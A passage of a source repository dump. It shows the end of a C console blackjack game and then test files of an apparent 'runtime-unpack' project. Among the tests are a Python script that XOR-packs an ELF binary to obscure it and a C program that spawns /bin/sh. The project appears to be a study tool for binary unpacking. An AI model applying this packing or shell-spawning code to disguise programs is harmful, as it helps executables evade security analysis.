If invalid choice entered 175 | { 176 | printf("\n"); 177 | printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n"); 178 | scanf("%c",&choice1); 179 | } 180 | 181 | 182 | if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu. 183 | { 184 | printf("\n---------\n"); 185 | asktitle(); 186 | } // End if loop 187 | 188 | 189 | 190 | else if((choice1 == 'N') || (choice1 == 'n')) // If no, convinces user to enter yes 191 | { 192 | printf("\n---------\n"); 193 | printf("\n I told you so.\n"); 194 | asktitle(); 195 | } 196 | 197 | return; 198 | } // End function 199 | 200 | int clubcard() //Displays Club Card Image 201 | { 202 | 203 | 204 | srand((unsigned) time(NULL)); //Generates random seed for rand() function 205 | k=rand()%13+1; 206 | 207 | if(k<=9) //If random number is 9 or less, print card with that number 208 | { 209 | //Club Card 210 | printf("-------\n"); 211 | printf("|%c |\n", club); 212 | printf("| %d |\n", k); 213 | printf("| %c|\n", club); 214 | printf("-------\n"); 215 | } 216 | 217 | 218 | if(k==10) //If random number is 10, print card with J (Jack) on face 219 | { 220 | //Club Card 221 | printf("-------\n"); 222 | printf("|%c |\n", club); 223 | printf("| J |\n"); 224 | printf("| %c|\n", club); 225 | printf("-------\n"); 226 | } 227 | 228 | 229 | if(k==11) //If random number is 11, print card with A (Ace) on face 230 | { 231 | //Club Card 232 | printf("-------\n"); 233 | printf("|%c |\n", club); 234 | printf("| A |\n"); 235 | printf("| %c|\n", club); 236 | printf("-------\n"); 237 | if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total 238 | { 239 | k=11; 240 | } 241 | 242 | else 243 | { 244 | 245 | k=1; 246 | } 247 | } 248 | 249 | 250 | if(k==12) //If random number is 12, print card with Q (Queen) on face 251 | { 252 | //Club Card 253 | printf("-------\n"); 254 | printf("|%c |\n", club); 255 | printf("| Q |\n"); 256 | printf("| %c|\n", club); 257 | printf("-------\n"); 258 | k=10; //Set card value to 10 259 | } 260 | 261 | 262 | if(k==13) //If random number is 13, print card with K (King) on face 263 | { 264 | //Club Card 265 | printf("-------\n"); 266 | printf("|%c |\n", club); 267 | printf("| K |\n"); 268 | printf("| %c|\n", club); 269 | printf("-------\n"); 270 | k=10; //Set card value to 10 271 | } 272 | return k; 273 | }// End function 274 | 275 | int diamondcard() //Displays Diamond Card Image 276 | { 277 | 278 | 279 | srand((unsigned) time(NULL)); //Generates random seed for rand() function 280 | k=rand()%13+1; 281 | 282 | if(k<=9) //If random number is 9 or less, print card with that number 283 | { 284 | //Diamond Card 285 | printf("-------\n"); 286 | printf("|%c |\n", diamond); 287 | printf("| %d |\n", k); 288 | printf("| %c|\n", diamond); 289 | printf("-------\n"); 290 | } 291 | 292 | if(k==10) //If random number is 10, print card with J (Jack) on face 293 | { 294 | //Diamond Card 295 | printf("-------\n"); 296 | printf("|%c |\n", diamond); 297 | printf("| J |\n"); 298 | printf("| %c|\n", diamond); 299 | printf("-------\n"); 300 | } 301 | 302 | if(k==11) //If random number is 11, print card with A (Ace) on face 303 | { 304 | //Diamond Card 305 | printf("-------\n"); 306 | printf("|%c |\n", diamond); 307 | printf("| A |\n"); 308 | printf("| %c|\n", diamond); 309 | printf("-------\n"); 310 | if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total 311 | { 312 | k=11; 313 | } 314 | 315 | else 316 | { 317 | k=1; 318 | } 319 | } 320 | 321 | if(k==12) //If random number is 12, print card with Q (Queen) on face 322 | { 323 | //Diamond Card 324 | printf("-------\n"); 325 | printf("|%c |\n", diamond); 326 | printf("| Q |\n"); 327 | printf("| %c|\n", diamond); 328 | printf("-------\n"); 329 | k=10; //Set card value to 10 330 | } 331 | 332 | if(k==13) //If random number is 13, print card with K (King) on face 333 | { 334 | //Diamond Card 335 | printf("-------\n"); 336 | printf("|%c |\n", diamond); 337 | printf("| K |\n"); 338 | printf("| %c|\n", diamond); 339 | printf("-------\n"); 340 | k=10; //Set card value to 10 341 | } 342 | return k; 343 | }// End function 344 | 345 | int heartcard() //Displays Heart Card Image 346 | { 347 | 348 | 349 | srand((unsigned) time(NULL)); //Generates random seed for rand() function 350 | k=rand()%13+1; 351 | 352 | if(k<=9) //If random number is 9 or less, print card with that number 353 | { 354 | //Heart Card 355 | printf("-------\n"); 356 | printf("|%c |\n", heart); 357 | printf("| %d |\n", k); 358 | printf("| %c|\n", heart); 359 | printf("-------\n"); 360 | } 361 | 362 | if(k==10) //If random number is 10, print card with J (Jack) on face 363 | { 364 | //Heart Card 365 | printf("-------\n"); 366 | printf("|%c |\n", heart); 367 | printf("| J |\n"); 368 | printf("| %c|\n", heart); 369 | printf("-------\n"); 370 | } 371 | 372 | if(k==11) //If random number is 11, print card with A (Ace) on face 373 | { 374 | //Heart Card 375 | printf("-------\n"); 376 | printf("|%c |\n", heart); 377 | printf("| A |\n"); 378 | printf("| %c|\n", heart); 379 | printf("-------\n"); 380 | if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total 381 | { 382 | k=11; 383 | } 384 | 385 | else 386 | { 387 | k=1; 388 | } 389 | } 390 | 391 | if(k==12) //If random number is 12, print card with Q (Queen) on face 392 | { 393 | //Heart Card 394 | printf("-------\n"); 395 | printf("|%c |\n", heart); 396 | printf("| Q |\n"); 397 | printf("| %c|\n", heart); 398 | printf("-------\n"); 399 | k=10; //Set card value to 10 400 | } 401 | 402 | if(k==13) //If random number is 13, print card with K (King) on face 403 | { 404 | //Heart Card 405 | printf("-------\n"); 406 | printf("|%c |\n", heart); 407 | printf("| K |\n"); 408 | printf("| %c|\n", heart); 409 | printf("-------\n"); 410 | k=10; //Set card value to 10 411 | } 412 | return k; 413 | } // End Function 414 | 415 | int spadecard() //Displays Spade Card Image 416 | { 417 | 418 | 419 | srand((unsigned) time(NULL)); //Generates random seed for rand() function 420 | k=rand()%13+1; 421 | 422 | if(k<=9) //If random number is 9 or less, print card with that number 423 | { 424 | //Spade Card 425 | printf("-------\n"); 426 | printf("|%c |\n", spade); 427 | printf("| %d |\n", k); 428 | printf("| %c|\n", spade); 429 | printf("-------\n"); 430 | } 431 | 432 | if(k==10) //If random number is 10, print card with J (Jack) on face 433 | { 434 | //Spade Card 435 | printf("-------\n"); 436 | printf("|%c |\n", spade); 437 | printf("| J |\n"); 438 | printf("| %c|\n", spade); 439 | printf("-------\n"); 440 | } 441 | 442 | if(k==11) //If random number is 11, print card with A (Ace) on face 443 | { 444 | //Spade Card 445 | printf("-------\n"); 446 | printf("|%c |\n", spade); 447 | printf("| A |\n"); 448 | printf("| %c|\n", spade); 449 | printf("-------\n"); 450 | if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total 451 | { 452 | k=11; 453 | } 454 | 455 | else 456 | { 457 | k=1; 458 | } 459 | } 460 | 461 | if(k==12) //If random number is 12, print card with Q (Queen) on face 462 | { 463 | //Spade Card 464 | printf("-------\n"); 465 | printf("|%c |\n", spade); 466 | printf("| Q |\n"); 467 | printf("| %c|\n", spade); 468 | printf("-------\n"); 469 | k=10; //Set card value to 10 470 | } 471 | 472 | if(k==13) //If random number is 13, print card with K (King) on face 473 | { 474 | //Spade Card 475 | printf("-------\n"); 476 | printf("|%c |\n", spade); 477 | printf("| K |\n"); 478 | printf("| %c|\n", spade); 479 | printf("-------\n"); 480 | k=10; //Set card value to 10 481 | } 482 | return k; 483 | } // End Function 484 | 485 | int randcard() //Generates random card 486 | { 487 | 488 | 489 | srand((unsigned) time(NULL)); //Generates random seed for rand() function 490 | random_card = rand()%4+1; 491 | 492 | if(random_card==1) 493 | { 494 | clubcard(); 495 | l=k; 496 | } 497 | 498 | if(random_card==2) 499 | { 500 | diamondcard(); 501 | l=k; 502 | } 503 | 504 | if(random_card==3) 505 | { 506 | heartcard(); 507 | l=k; 508 | } 509 | 510 | if(random_card==4) 511 | { 512 | spadecard(); 513 | l=k; 514 | } 515 | return l; 516 | } // End Function 517 | 518 | void play() //Plays game 519 | { 520 | 521 | int p=0; // holds value of player_total 522 | int i=1; // counter for asking user to hold or stay (aka game turns) 523 | char choice3; 524 | 525 | cash = cash; 526 | cash_test(); 527 | printf("\nCash: $%d\n",cash); //Prints amount of cash user has 528 | randcard(); //Generates random card 529 | player_total = p + l; //Computes player total 530 | p = player_total; 531 | printf("\nYour Total is %d\n", p); //Prints player total 532 | dealer(); //Computes and prints dealer total 533 | betting(); //Prompts user to enter bet amount 534 | 535 | while(i<=21) //While loop used to keep asking user to hit or stay at most twenty-one times 536 | // because there is a chance user can generate twenty-one consecutive 1's 537 | { 538 | if(p==21) //If user total is 21, win 539 | { 540 | printf("\nUnbelievable! You Win!\n"); 541 | won = won+1; 542 | cash = cash+bet; 543 | printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); 544 | dealer_total=0; 545 | askover(); 546 | } 547 | 548 | if(p>21) //If player total is over 21, loss 549 | { 550 | printf("\nWoah Buddy, You Went WAY over.\n"); 551 | loss = loss+1; 552 | cash = cash - bet; 553 | printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); 554 | dealer_total=0; 555 | askover(); 556 | } 557 | 558 | if(p<=21) //If player total is less than 21, ask to hit or stay 559 | { 560 | printf("\n\nWould You Like to Hit or Stay?"); 561 | 562 | scanf("%c", &choice3); 563 | while((choice3!='H') && (choice3!='h') && (choice3!='S') && (choice3!='s')) // If invalid choice entered 564 | { 565 | printf("\n"); 566 | printf("Please Enter H to Hit or S to Stay.\n"); 567 | scanf("%c",&choice3); 568 | } 569 | 570 | 571 | if((choice3=='H') || (choice3=='h')) // If Hit, continues 572 | { 573 | randcard(); 574 | player_total = p + l; 575 | p = player_total; 576 | printf("\nYour Total is %d\n", p); 577 | dealer(); 578 | if(dealer_total==21) //Is dealer total is 21, loss 579 | { 580 | printf("\nDealer Has the Better Hand. You Lose.\n"); 581 | loss = loss+1; 582 | cash = cash - bet; 583 | printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); 584 | dealer_total=0; 585 | askover(); 586 | } 587 | 588 | if(dealer_total>21) //If dealer total is over 21, win 589 | { 590 | printf("\nDealer Has Went Over!. You Win!\n"); 591 | won = won+1; 592 | cash = cash+bet; 593 | printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); 594 | dealer_total=0; 595 | askover(); 596 | } 597 | } 598 | if((choice3=='S') || (choice3=='s')) // If Stay, does not continue 599 | { 600 | printf("\nYou Have Chosen to Stay at %d. Wise Decision!\n", player_total); 601 | stay(); 602 | } 603 | } 604 | i++; //While player total and dealer total are less than 21, re-do while loop 605 | } // End While Loop 606 | } // End Function 607 | 608 | void dealer() //Function to play for dealer AI 609 | { 610 | int z; 611 | 612 | if(dealer_total<17) 613 | { 614 | srand((unsigned) time(NULL) + 1); //Generates random seed for rand() function 615 | z=rand()%13+1; 616 | if(z<=10) //If random number generated is 10 or less, keep that value 617 | { 618 | d=z; 619 | 620 | } 621 | 622 | if(z>11) //If random number generated is more than 11, change value to 10 623 | { 624 | d=10; 625 | } 626 | 627 | if(z==11) //If random number is 11(Ace), change value to 11 or 1 depending on dealer total 628 | { 629 | if(dealer_total<=10) 630 | { 631 | d=11; 632 | } 633 | 634 | else 635 | { 636 | d=1; 637 | } 638 | } 639 | dealer_total = dealer_total + d; 640 | } 641 | 642 | printf("\nThe Dealer Has a Total of %d", dealer_total); //Prints dealer total 643 | 644 | } // End Function 645 | 646 | void stay() //Function for when user selects 'Stay' 647 | { 648 | dealer(); //If stay selected, dealer continues going 649 | if(dealer_total>=17) 650 | { 651 | if(player_total>=dealer_total) //If player's total is more than dealer's total, win 652 | { 653 | printf("\nUnbelievable! You Win!\n"); 654 | won = won+1; 655 | cash = cash+bet; 656 | printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); 657 | dealer_total=0; 658 | askover(); 659 | } 660 | if(player_total21) //If dealer's total is more than 21, win 670 | { 671 | printf("\nUnbelievable! You Win!\n"); 672 | won = won+1; 673 | cash = cash+bet; 674 | printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); 675 | dealer_total=0; 676 | askover(); 677 | } 678 | } 679 | else 680 | { 681 | stay(); 682 | } 683 | 684 | } // End Function 685 | 686 | void cash_test() //Test for if user has cash remaining in purse 687 | { 688 | if (cash <= 0) //Once user has zero remaining cash, game ends and prompts user to play again 689 | { 690 | printf("You Are Bankrupt. Game Over"); 691 | cash = 500; 692 | askover(); 693 | } 694 | } // End Function 695 | 696 | int betting() //Asks user amount to bet 697 | { 698 | printf("\n\nEnter Bet: $"); 699 | scanf("%d", &bet); 700 | 701 | if (bet > cash) //If player tries to bet more money than player has 702 | { 703 | printf("\nYou cannot bet more money than you have."); 704 | printf("\nEnter Bet: "); 705 | scanf("%d", &bet); 706 | return bet; 707 | } 708 | else return bet; 709 | } // End Function 710 | 711 | void askover() // Function for asking player if they want to play again 712 | { 713 | char choice1; 714 | 715 | printf("\nWould You Like To Play Again?"); 716 | printf("\nPlease Enter Y for Yes or N for No\n"); 717 | scanf("\n%c",&choice1); 718 | 719 | while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered 720 | { 721 | printf("\n"); 722 | printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n"); 723 | scanf("%c",&choice1); 724 | } 725 | 726 | 727 | if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. 728 | { 729 | printf("\n---------\n"); 730 | play(); 731 | } 732 | 733 | else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program 734 | { 735 | fileresults(); 736 | printf("\nBYE!!!!\n\n"); 737 | system("pause"); 738 | exit(0); 739 | } 740 | return; 741 | } // End function 742 | 743 | void fileresults() //Prints results into Blackjack.txt file in program directory 744 | { 745 | FILE *fpresults; //File pointer is fpresults 746 | fpresults = fopen(RESULTS, "w"); //Creates file and writes into it 747 | if(fpresults == NULL) // what to do if file missing from directory 748 | { 749 | printf("\nError: File Missing\n"); 750 | system("pause"); 751 | exit(1); 752 | } 753 | else 754 | { 755 | fprintf(fpresults,"\n\t RESULTS"); 756 | fprintf(fpresults,"\n\t---------\n"); 757 | fprintf(fpresults,"\nYou Have Won %d Times\n", won); 758 | fprintf(fpresults,"\nYou Have Lost %d Times\n", loss); 759 | fprintf(fpresults,"\nKeep Playing and Set an All-Time Record!"); 760 | } 761 | fclose(fpresults); 762 | return; 763 | } // End Function 764 | -------------------------------------------------------------------------------- /runtime-unpack-master/tests/func_pointers.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int func(int a, int b) // function definition 4 | { 5 | printf("a = %d \n", a); 6 | printf("b = %d \n", b); 7 | } 8 | 9 | int main() 10 | { 11 | printf("\n\n\t\t Function pointers test \n"); 12 | 13 | // function pointer 14 | int(*fptr)(int , int); 15 | 16 | // assign address to function pointer 17 | fptr = func; 18 | 19 | // function calling 20 | func(2,3); 21 | fptr(2,3); // calling a function referring to pointer to a function 22 | 23 | printf("\nExiting..\n"); 24 | return 0; 25 | } -------------------------------------------------------------------------------- /runtime-unpack-master/tests/helloworld.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(int argc, char *argv[]) 4 | { 5 | printf("Hello, World!\n"); 6 | 7 | 8 | 9 | return 0; 10 | } 11 | -------------------------------------------------------------------------------- /runtime-unpack-master/tests/input.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main () { 4 | char str[50]; 5 | 6 | printf("Enter a string : "); 7 | scanf("%s", &str); 8 | 9 | printf("You entered: %s\n", str); 10 | 11 | return(0); 12 | } 13 | -------------------------------------------------------------------------------- /runtime-unpack-master/tests/malloc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | printf("allocating...\n"); 7 | char *x = malloc(40); 8 | printf("allocated 40 bytes at: %p\n", x); 9 | 10 | 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /runtime-unpack-master/tests/malloc_loops.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | struct course { 4 | int marks; 5 | char subject[30]; 6 | }; 7 | 8 | int main() { 9 | struct course *ptr; 10 | int i, noOfRecords; 11 | printf("Enter the number of records: "); 12 | scanf("%d", &noOfRecords); 13 | 14 | // Memory allocation for noOfRecords structures 15 | ptr = (struct course *)malloc(noOfRecords * sizeof(struct course)); 16 | for (i = 0; i < noOfRecords; ++i) { 17 | printf("Enter the name of the subject and marks respectively:\n"); 18 | scanf("%s %d", (ptr + i)->subject, &(ptr + i)->marks); 19 | } 20 | 21 | printf("Displaying Information:\n"); 22 | for (i = 0; i < noOfRecords; ++i) 23 | printf("%s\t%d\n", (ptr + i)->subject, (ptr + i)->marks); 24 | 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /runtime-unpack-master/tests/pack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import os 4 | 5 | key = 0xff 6 | 7 | # utils 8 | 9 | def pack(elf, size, key): 10 | packed_content = bytearray(size) 11 | for i in range(size): 12 | packed_content[i] = elf[i] ^ key 13 | return packed_content 14 | 15 | 16 | # main 17 | 18 | if len(sys.argv) != 2: 19 | print("Usage: {} ".format(sys.argv[0])) 20 | exit(0) 21 | 22 | try: 23 | path = os.path.abspath(sys.argv[1]) 24 | elf_buf = bytearray(open(path, 'rb').read()) 25 | elf_len = len(elf_buf) 26 | packed = pack(elf_buf, elf_len, key) 27 | 28 | print("Packing {}".format(path)) 29 | 30 | open(path + '.packed', 'wb').write(packed) 31 | 32 | except FileNotFoundError: 33 | print("Failed. Cannot pack") 34 | 35 | 36 | -------------------------------------------------------------------------------- /runtime-unpack-master/tests/pyramid.c: -------------------------------------------------------------------------------- 1 | #include 2 | int main() { 3 | int i, space, rows, k = 0; 4 | printf("Enter the number of rows: "); 5 | scanf("%d", &rows); 6 | for (i = 1; i <= rows; ++i, k = 0) { 7 | for (space = 1; space <= rows - i; ++space) { 8 | printf(" "); 9 | } 10 | while (k != 2 * i - 1) { 11 | printf("* "); 12 | ++k; 13 | } 14 | printf("\n"); 15 | } 16 | return 0; 17 | } 18 | -------------------------------------------------------------------------------- /runtime-unpack-master/tests/system.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | system("/bin/sh"); 6 | return 0; 7 | } 8 | --------------------------------------------------------------------------------